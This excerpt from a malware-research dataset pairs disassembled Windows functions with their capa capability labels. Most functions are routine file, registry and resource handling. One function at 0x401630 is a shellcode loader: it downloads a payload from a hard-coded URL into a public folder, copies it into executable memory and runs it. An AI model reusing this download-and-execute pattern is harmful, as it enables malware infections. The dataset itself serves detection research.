joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a2ae0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d0898
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x516008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
cmp esi, 0xffffffff
jne 0x4a2b18
xor al, al
jmp 0x4a2b87
and esi, 0xffffb1af
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
push eax
call ebx
test eax, eax
je 0x4a2b3c
mov al, 1
jmp 0x4a2b87
lea ecx, [ebp - 0x28]
call fcn.00412f80
mov dword [ebp - 4], 0
lea edx, [ebp - 0x28]
mov ecx, edi
call fcn.004a3190
test al, al
je 0x4a2b74
lea ecx, [ebp - 0x28]
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
push esi
push eax
call ebx
test eax, eax
je 0x4a2b74
mov bl, 1
jmp 0x4a2b76
xor bl, bl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00412e40
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b8ad3
mov esp, ebp
pop ebp
ret

Function at 0x4a2bb0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d0898
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x516008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4a2c3c
lea ecx, [ebp - 0x28]
call fcn.00412f80
mov dword [ebp - 4], 0
lea edx, [ebp - 0x28]
mov ecx, edi
call fcn.004a3190
test al, al
je 0x4a2c2b
lea ecx, [ebp - 0x28]
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00412e40
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b8ad3
mov esp, ebp
pop ebp
ret
Function at 0x4a2c60
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d6040
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x516008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push eax
call edi
test eax, eax
je 0x4a2cad
mov al, 1
jmp 0x4a2dc5
mov ecx, esi
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
push eax
lea ecx, [ebp - 0x28]
call fcn.00412eb0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.004a2bb0
mov ebx, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00412e40
cmp ebx, 0xffffffff
jne 0x4a2cf3
xor al, al
jmp 0x4a2dc5
mov ecx, esi
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
push eax
lea ecx, [ebp - 0x28]
call fcn.00412eb0
mov dword [ebp - 4], 1
xor edx, edx
lea ecx, [ebp - 0x28]
call fcn.004a2ae0
mov bl, al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00412e40
test bl, bl
je 0x4a2cec
mov ecx, esi
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
push eax
call edi
test eax, eax
jne 0x4a2ca6
lea ecx, [ebp - 0x28]
call fcn.00412f80
mov dword [ebp - 4], 2
lea edx, [ebp - 0x28]
mov ecx, esi
call fcn.004a3190
test al, al
je 0x4a2d80
lea ecx, [ebp - 0x28]
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
push eax
call edi
test eax, eax
je 0x4a2d80
mov bl, 1
jmp 0x4a2db4
mov ecx, esi
call fcn.004131e0
mov ecx, eax
call fcn.004131a0
push eax
lea ecx, [ebp - 0x44]
call fcn.00412eb0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.004a2ae0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x44]
call fcn.00412e40
xor bl, bl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00412e40
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b8ad3
mov esp, ebp
pop ebp
ret
Function at 0x4a2df0
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x624]
sub esp, 0x624
push 0xffffffffffffffff
push 0x4d6078
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x516008]
xor eax, ebp
mov dword [ebp + 0x620], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 4
lea ecx, [ebp - 0x10]
call fcn.004126c0
mov eax, dword [0x5231d0]
mov dword [ebp - 0x10], 0x5231d0
test eax, eax
je 0x4a2e48
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
mov ecx, 0x5231e0
call fcn.00412dc0
test al, al
jne 0x4a2ebb
cmp esi, 0x5231e0
je 0x4a2e92
mov ecx, 0x5231e0
call fcn.004131e0
mov ecx, esi
call fcn.004131e0
mov ecx, 0x5231e0
call fcn.004131e0
mov ecx, eax
push dword [eax + 0x10]
call fcn.004131a0
push eax
mov ecx, esi
call fcn.00413310
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4a2eb4
mov eax, dword [eax]
test eax, eax
je 0x4a2ead
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 0x10], 0
mov al, 1
jmp 0x4a2fa4
push 0x20c
lea eax, [ebp + 0x414]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp + 0x414]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x103
ja 0x4a2f80
xor eax, eax
push 0x412
push eax
mov word [ebp + 0x61e], ax
lea eax, [ebp]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp]
push 0x208
push eax
lea eax, [ebp + 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
cmp eax, 0x208
ja 0x4a2f44
test eax, eax
je 0x4a2f44
add eax, eax
cmp eax, 0x412
jae 0x4a2fc5
xor ecx, ecx
mov word [ebp + eax], cx
lea eax, [ebp]
jmp 0x4a2f4a
lea eax, [ebp + 0x414]
push eax
mov ecx, esi
call fcn.00412df0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4a2eb4
mov eax, dword [eax]
test eax, eax
je 0x4a2ead
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 0x10], 0
mov al, 1
jmp 0x4a2fa4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4a2fa2
mov eax, dword [eax]
test eax, eax
je 0x4a2f9b
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 0x10], 0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp + 0x620]
xor ecx, ebp
call fcn.004b8ad3
lea esp, [ebp + 0x624]
pop ebp
ret
call fcn.004b924d
int3
Function at 0x4a5e20
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d4d8f
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x516008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push edx
push 0x94
call fcn.00411e40
mov esi, dword [ebp + 8]
add esp, 8
mov edi, eax
mov ecx, edi
mov dword [ebp - 0x10], edi
push esi
call fcn.00413010
mov dword [ebp - 4], 0
lea ecx, [esi + 0x18]
push ecx
lea ecx, [edi + 0x18]
call fcn.00413010
mov byte [ebp - 4], 1
lea eax, [esi + 0x30]
push eax
lea ecx, [edi + 0x30]
call fcn.00413010
mov byte [ebp - 4], 2
lea eax, [esi + 0x48]
push eax
lea ecx, [edi + 0x48]
call fcn.00413010
mov byte [ebp - 4], 3
lea ecx, [edi + 0x64]
mov al, byte [esi + 0x60]
mov byte [edi + 0x60], al
lea eax, [esi + 0x64]
push eax
call fcn.00413010
mov byte [ebp - 4], 4
lea eax, [esi + 0x7c]
push eax
lea ecx, [edi + 0x7c]
call fcn.00413010
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4a7b50
Capabilities:
Get file size

Disassembly:
sub esp, 8
mov eax, dword [0x516008]
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [ecx]
push esi
push edi
mov edi, dword [esp + 0x14]
cmp eax, 0xffffffff
je 0x4a7bb5
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4a7b90
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4a7bb5
mov eax, dword [esp + 8]
xor ecx, ecx
add ecx, esi
mov dword [edi], ecx
adc eax, 0
mov dword [edi + 4], eax
mov al, 1
pop edi
pop esi
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004b8ad3
add esp, 8
ret 4
mov ecx, dword [esp + 0xc]
xor al, al
pop edi
pop esi
xor ecx, esp
call fcn.004b8ad3
add esp, 8
ret 4
Function at 0x4a7d30
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d6c68
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x516008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov ecx, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
test ecx, ecx
je 0x4a7d79
mov dword [ecx], 0
mov dword [eax], 0
cmp dword [edi], 0xffffffff
je 0x4a7ecb
mov eax, dword [ebp + 0xc]
mov ecx, 0x100000
push 0
mov ebx, eax
mov dword [ebp - 0x1c], 0
cmp eax, 0x100000
lea eax, [ebp - 0x1c]
push eax
cmova ebx, ecx
push ebx
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, 0x7fffbffb
add eax, 0x80004005
cmp dword [edi + 0x1c], 0
je 0x4a7e96
test eax, eax
je 0x4a7e96
mov edx, dword [ebp - 0x1c]
cmp edx, ebx
jae 0x4a7e99
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [edi]
mov dword [ebp - 0x24], eax
cmp ecx, 0xffffffff
je 0x4a7e1b
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4a7e0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4a7e1b
mov eax, dword [ebp - 0x14]
xor ecx, ecx
add ecx, esi
adc eax, 0
jmp 0x4a7e29
xorps xmm0, xmm0
movlpd qword [ebp - 0x38], xmm0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
push 0
push dword [ebp - 0x24]
push eax
push ecx
sub esp, 0x18
lea eax, [edi + 4]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.00413010
mov dword [ebp - 4], 0
mov ecx, dword [edi + 0x1c]
mov eax, dword [ecx]
mov dword [ebp - 4], 0xffffffff
call dword [eax + 0x18]
mov esi, dword [ebp - 0x20]
test eax, eax
jne 0x4a7e96
push eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x1c]
push ebx
add eax, esi
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, eax
xor edx, edx
test ecx, ecx
mov eax, 0x80004005
cmovne eax, edx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
test ecx, ecx
je 0x4a7dd4
jmp 0x4a7e99
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
add dword [ecx], edx
test eax, eax
jne 0x4a7ec2
test edx, edx
je 0x4a7ebe
mov eax, dword [ebp + 0xc]
add esi, edx
sub eax, edx
mov dword [ebp - 0x20], esi
mov dword [ebp + 0xc], eax
mov ecx, 0x100000
jne 0x4a7d90
mov al, 1
jmp 0x4a7ecd
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x4a7ecb
mov dword [ecx], eax
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b8ad3
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4ac730
Capabilities:
Check os version

Disassembly:
sub esp, 0x118
mov eax, dword [0x516008]
xor eax, esp
mov dword [esp + 0x114], eax
push esi
mov esi, ecx
mov dword [esp + 4], 0x114
push 0x110
lea eax, [esp + 0xc]
push 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov byte [esi], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
mov eax, esi
je 0x4ac7c7
cmp dword [esp + 8], 6
jb 0x4ac7c7
mov byte [esi], 1
mov ecx, dword [esp + 0x118]
pop esi
xor ecx, esp
call fcn.004b8ad3
add esp, 0x118
ret

Function at 0x4ac7e0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d7480
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push esi
push edi
mov eax, dword [0x516008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push str.wintrust.dll
lea ecx, [ebp - 0x28]
call fcn.00412eb0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
call fcn.00497860
mov ecx, eax
call fcn.00497920
mov ebx, eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00412e40
push str.crypt32.dll
lea ecx, [ebp - 0x40]
call fcn.00412eb0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x40]
push eax
call fcn.00497860
mov ecx, eax
call fcn.00497920
mov esi, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00412e40
test ebx, ebx
je 0x4ac8f5
test esi, esi
je 0x4ac8f5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CryptCATAdminCalcHashFromFileHandle
push ebx
call esi
push str.CryptCATAdminAcquireContext
push ebx
mov dword [edi + 4], eax
call esi
push str.CryptCATAdminEnumCatalogFromHash
push ebx
mov dword [edi + 8], eax
call esi
push str.CryptCATCatalogInfoFromContext
push ebx
mov dword [edi + 0xc], eax
call esi
push str.CryptCATAdminReleaseCatalogContext
push ebx
mov dword [edi + 0x10], eax
call esi
push str.CryptCATAdminReleaseContext
push ebx
mov dword [edi + 0x14], eax
call esi
push str.WTHelperProvDataFromStateData
push ebx
mov dword [edi + 0x18], eax
call esi
push str.WTHelperGetProvSignerFromChain
push ebx
mov dword [edi + 0x1c], eax
call esi
push str.WinVerifyTrust
push ebx
mov dword [edi + 0x20], eax
call esi
push str.CertNameToStrW
push dword [ebp - 0x10]
mov dword [edi + 0x24], eax
call esi
mov dword [edi + 0x28], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b6950
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x4b695b
xor eax, eax
pop ebp
ret
pop ebp
jmp fcn.004b6970
Function at 0x401630
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push 0x45f618
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ebx, ebx
cmp eax, 0xffffffff
jne 0x4016bb
push 0x23
mov esi, 0xf
push str.C:UsersPublicDocuments_shell.txt
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
call fcn.00401ea0
push 0x5c
push str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1732878092738_3.txt
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x20], bl
call fcn.00401ea0
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x24]
call fcn.00401350
mov edi, 0x10
cmp dword [ebp - 0xc], edi
jb 0x4016a1
mov eax, dword [ebp - 0x20]
push eax
call fcn.00402d1e
add esp, 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x20], bl
cmp dword [ebp - 0x28], edi
jb 0x4016bb
mov ecx, dword [ebp - 0x3c]
push ecx
call fcn.00402d1e
add esp, 4
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push 0x45f618
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push ebx
cmp esi, 0xffffffff
jne 0x4016fd
push 0x45f6e8
push 0x45f6f0
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401722
push ebx
push 0x45f6e8
push 0x45f700
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4017b1
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 8], ebx
push 0
test ebx, ebx
jne 0x40174f
push 0x45f6e8
push 0x45f714
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4017b1
lea edx, [ebp - 4]
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40178f
cmp dword [ebp - 4], edi
jne 0x40178f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
mov eax, dword [ebp - 8]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0x45f6e8
push 0x45f724
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402830
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.0040875a
Function at 0x405747
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x40578f
call fcn.0041d3e2
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40578f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4057d2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4057bb
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4057bb
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x4057cf
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x407923
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x451f18
call fcn.00439d42
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x407948
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x40798e
lea ecx, [ebp - 0x10]
call fcn.004043d5
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407140
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402d64
mov eax, esi
call fcn.00439e1a
ret 8

Function at 0x4086c3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0041d3e2
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4086fc
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0040830f
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x40875a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x40877e
cmp dword [edi + 0x54], 0
jne 0x40877e
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0041d3e2
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040871b
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x40f5ff
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40f646
call fcn.0041d3e2
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40f646
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40f662
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040f177
mov esi, eax
test edi, edi
je 0x40f660
test ebx, ebx
je 0x40f660
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x418c0b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 4], ecx
call fcn.0041d3e2
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
jne 0x418c38
xor eax, eax
jmp 0x418cde
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x418c31
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x418c31
movzx eax, word [esi + 6]
push ebx
push edi
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00402cef
pop ecx
mov edi, eax
xor ecx, ecx
xor eax, eax
cmp cx, word [esi + 6]
jae 0x418c8f
lea ecx, [esi + 8]
movzx edx, word [ecx]
mov dword [edi + eax*4], edx
movzx edx, word [esi + 6]
inc eax
inc ecx
inc ecx
cmp eax, edx
jl 0x418c7e
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 4]
push eax
push edi
call fcn.0041794d
push edi
mov ebx, eax
call fcn.00402d1e
pop ecx
test ebx, ebx
je 0x418cd1
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
push ecx
lea esi, [ecx + 7]
mov ecx, dword [ebp - 4]
push eax
lea edx, [eax + 7]
push esi
push edx
call fcn.00418020
push dword [ebp + 8]
mov ecx, dword [ebp - 4]
call fcn.004180d4
mov ebx, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, ebx
pop ebx
pop esi
leave
ret 4
Function at 0x4359bf
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x453b8d
call fcn.00439d42
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.004064c3
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x435a21
call fcn.0041ccbc
cmp eax, 1
jne 0x435a21
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00406dab
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00405c55
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402d64
mov dword [ebp + 8], VariantInit
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402d64
mov eax, esi
call fcn.00439e1a
ret 0x10

Function at 0x435a4a
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x453b8d
call fcn.00439d42
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.004064c3
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x435aac
call fcn.0041ccbc
cmp eax, 1
jne 0x435aac
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00406dab
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00405c55
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402d64
mov dword [ebp + 8], VariantInit
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402d64
mov eax, esi
call fcn.00439e1a
ret 0x14

Function at 0x438ec6
